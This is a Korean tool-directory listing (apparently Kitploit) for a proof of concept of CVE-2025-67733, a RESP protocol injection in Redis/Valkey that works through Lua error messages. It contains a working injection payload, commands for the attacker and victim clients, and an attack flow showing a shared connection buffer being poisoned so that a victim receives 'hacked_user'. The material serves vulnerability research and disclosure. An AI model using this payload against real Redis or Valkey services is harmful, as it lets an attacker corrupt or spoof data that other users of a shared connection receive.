Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-67733 — Redis/Valkey RESP Injection PoC (CVE-2025-67733) | Kitploit
도구/GitHubGitHub/jylab/cve-2025-67733
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubjylab/cve-2025-67733

CVE-2025-67733

Redis/Valkey RESP Injection PoC (CVE-2025-67733)

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

RESP 프로토콜 인젝션 PoC

Valkey/Redis에서 Lua 스크립트 오류 메시지를 통한 RESP 프로토콜 인젝션 취약점을 시연하는 개념 증명(PoC)입니다.

파일

backend.py

공유 Valkey 연결(커넥션 풀링)을 사용하는 웹 애플리케이션을 시뮬레이션하는 Flask 백엔드.

엔드포인트:

메서드엔드포인트설명
POST/api/user/role사용자 역할 설정
GET/api/user/role사용자 역할 조회
POST/api/processLua 스크립트 실행

사용법:

root@kitploit:~
python backend.py <Valkey host> <Valkey port> [password]

# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword

attacker_client.py

Lua 스크립트 오류 메시지를 통해 소켓 버퍼에 악의적인 RESP 데이터를 주입합니다.

페이로드:

root@kitploit:~
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))

사용법:

root@kitploit:~
python attacker_client.py

victim_client.py

사용자 역할을 설정하고 조회하는 정상적인 클라이언트.

사용법:

root@kitploit:~
python victim_client.py set    # Set role to "normal_user"
python victim_client.py get    # Get current role

공격 시연

사전 요구사항

root@kitploit:~
pip install flask requests

단계

터미널 1 - 백엔드 시작:

root@kitploit:~
python backend.py 127.0.0.1 6379

터미널 2 - 역할 설정:

root@kitploit:~
python victim_client.py set
# Output: 'role':'normal_user' has been set.

python victim_client.py get
# Output: 'role':'normal_user'

터미널 3 - 공격:

root@kitploit:~
python attacker_client.py
# Output: Socket poisoning successful

터미널 2 - 역할 조회 (공격 후):

root@kitploit:~
python victim_client.py get
# Output: 'role':'hacked_user'

공격 흐름

root@kitploit:~
1. 피해자가 역할 설정
   victim_client.py set --> backend --> Valkey
                                        SET user:user:role "normal_user"

2. 공격자가 페이로드 주입
   attacker_client.py --> backend --> Valkey
                                      EVAL 'error(...)' 0

   백엔드가 읽음: "-ERR INJECTED\r\n"
   버퍼에 남은 것: "$11\r\nhacked_user"

3. 피해자가 역할 조회
   victim_client.py get --> backend --> Valkey
                                        GET user:user:role

   백엔드가 버퍼에서 읽음: "$11\r\nhacked_user"
   피해자가 받음: "hacked_user"
도구 다운로드